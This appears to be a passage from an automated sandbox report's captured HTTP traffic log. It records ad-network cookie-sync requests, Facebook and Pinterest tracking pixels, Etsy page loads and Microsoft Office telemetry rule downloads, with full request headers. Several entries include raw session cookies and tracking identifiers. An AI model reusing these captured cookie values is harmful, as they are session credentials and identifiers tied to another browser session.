Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=3437258319151679262&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJiMzc_ZprQ9EAUYBSABKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /syncd?dsp_id=93&user_group=1&user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJz_0OCT2b89EAUSFgoHcnViaWNvbhILCISo0eCT2b89EAUYBSACKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIHcnViaWNvbg..
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ul_cb/syncd?dsp_id=93&user_group=1&user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=2c47dc75-41e6-4d7b-bd2a-74c2f9e87895; c=1731004371; tuuid_lu=1731004371
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expiration=1733596372&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zy0Hz9HM4XoAAH5vAehDowAA; CMPS=2440; CMPRO=2440
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bidswitch HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJz_0OCT2b89EAUSFgoHcnViaWNvbhILCISo0eCT2b89EAUSFQoGY2FzYWxlEgsInOHZ8ZPZvz0QBRgFIAMoATILCO6U4Mep2b89EAVCDyINCAESCQoFdGllcjMQAVoHcjA5anIzNGABcgZjYXNhbGU.
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expiration=1733596372&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zy0Hz9HM4XoAAH5vAehDowAA; CMPS=2440; CMPRO=2440
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=fd63d340-783d-4cb2-bfc1-23af0054f694&r=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dpubmatic HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJz_0OCT2b89EAUSFgoHcnViaWNvbhILCISo0eCT2b89EAUSFQoGY2FzYWxlEgsInOHZ8ZPZvz0QBRIXCghwdWJtYXRpYxILCOCj24SU2b89EAUYBSAEKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIIcHVibWF0aWM.
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/ct/token_create.js HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZQL3hBSXhFRlBzdEwwV2pEK1QzdFFxMGxtcCszejJPZklWMlN4WlZGYkVvenJRbXBLbjRyM2ZaZ0liV2ZwNERPbUVKUzJDSHR0UDY1UXUrclJKeUJqNE1wN3FBT2FocTlPQ2dLTGQyVncwYz0mOXIwM2ZhYmM3WVI5Y0F6U1p5cGcvUmZuUDlnPQ=="
Source: global traffic	HTTP traffic detected: GET /ct.html HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZQL3hBSXhFRlBzdEwwV2pEK1QzdFFxMGxtcCszejJPZklWMlN4WlZGYkVvenJRbXBLbjRyM2ZaZ0liV2ZwNERPbUVKUzJDSHR0UDY1UXUrclJKeUJqNE1wN3FBT2FocTlPQ2dLTGQyVncwYz0mOXIwM2ZhYmM3WVI5Y0F6U1p5cGcvUmZuUDlnPQ=="
Source: global traffic	HTTP traffic detected: GET /tr?id=395490361516997&ev=PageView&cd[order_id]=1731730657.1731004358 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iframe/10898/?che=1731004351&gauid=1731730657.1731004358 HTTP/1.1Host: d.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/ct/token_create.js HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZQL3hBSXhFRlBzdEwwV2pEK1QzdFFxMGxtcCszejJPZklWMlN4WlZGYkVvenJRbXBLbjRyM2ZaZ0liV2ZwNERPbUVKUzJDSHR0UDY1UXUrclJKeUJqNE1wN3FBT2FocTlPQ2dLTGQyVncwYz0mOXIwM2ZhYmM3WVI5Y0F6U1p5cGcvUmZuUDlnPQ=="
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tr?id=395490361516997&ev=PageView&cd[order_id]=1731730657.1731004358 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 10sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; _gcl_au=1.1.1464974207.1731004355; _ga_KR3J610VYM=GS1.1.1731004357.1.0.1731004357.60.0.0; _ga=GA1.1.1731730657.1731004358; __pdst=7624e551d27b40548c5fca50240b16fb; _uetsid=ab0716809d3611ef84b73de6d4833770; _uetvid=ab0789a09d3611efaf1a55c12757f2c8; lantern=57f356de-9b4c-43dc-a7e2-f15cef29a072; _pin_unauth=dWlkPU1UbGpaVGt6TWpFdE1HRXlNUzAwWW1Sa0xXRmxNMlF0TTJZMk5qUmxNRE15Tnpndw; _tt_enable_cookie=1; _ttp=vCQdwBiF6wdjh39_AvViAxcFc5s; datadome=kFuhuHVY0SLJb2rsqbE87r9htRDS76aIjUTJb1jCk~dXav1e9rNKWGXTyaTMUXBeAM53UnTNyNqWtBhgTKnZopfBmN_qedCR7CyJOwAAbOZW5bNtn6TDdKnWqPryMRXc
Source: global traffic	HTTP traffic detected: GET /osdd.php HTTP/1.1Host: www.etsy.comConnection: keep-aliveSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; _gcl_au=1.1.1464974207.1731004355; _ga_KR3J610VYM=GS1.1.1731004357.1.0.1731004357.60.0.0; _ga=GA1.1.1731730657.1731004358; __pdst=7624e551d27b40548c5fca50240b16fb; _uetsid=ab0716809d3611ef84b73de6d4833770; _uetvid=ab0789a09d3611efaf1a55c12757f2c8; lantern=57f356de-9b4c-43dc-a7e2-f15cef29a072; _pin_unauth=dWlkPU1UbGpaVGt6TWpFdE1HRXlNUzAwWW1Sa0xXRmxNMlF0TTJZMk5qUmxNRE15Tnpndw; _tt_enable_cookie=1; _ttp=vCQdwBiF6wdjh39_AvViAxcFc5s; datadome=kFuhuHVY0SLJb2rsqbE87r9htRDS76aIjUTJb1jCk~dXav1e9rNKWGXTyaTMUXBeAM53UnTNyNqWtBhgTKnZopfBmN_qedCR7CyJOwAAbOZW5bNtn6TDdKnWqPryMRXc
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
